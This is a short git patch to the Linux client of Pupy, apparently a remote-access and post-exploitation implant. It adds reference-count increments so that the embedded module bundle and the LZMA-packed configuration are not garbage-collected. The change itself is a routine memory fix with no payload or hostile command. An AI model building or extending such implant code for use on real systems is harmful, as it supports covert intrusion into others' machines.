From bc62899b4ff3a8592333ef9ee9334c7fbae84ea3 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Sat, 4 Mar 2017 18:10:06 +0200 Subject: [PATCH] Prevent GC collection of modules and config --- client/sources-linux/pupy.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c index bbe82356..2708738e 100644 --- a/client/sources-linux/pupy.c +++ b/client/sources-linux/pupy.c @@ -37,6 +37,8 @@ static PyObject *Py_get_modules(PyObject *self, PyObject *args) munmap(resources_library_compressed_string_txt_start, resources_library_compressed_string_txt_size); + + Py_XINCREF(modules); } return modules; @@ -52,6 +54,8 @@ Py_get_pupy_config(PyObject *self, PyObject *args) ); config = PyObject_lzmaunpack(pupy_config+sizeof(int), compressed_size); + + Py_XINCREF(config); } return config;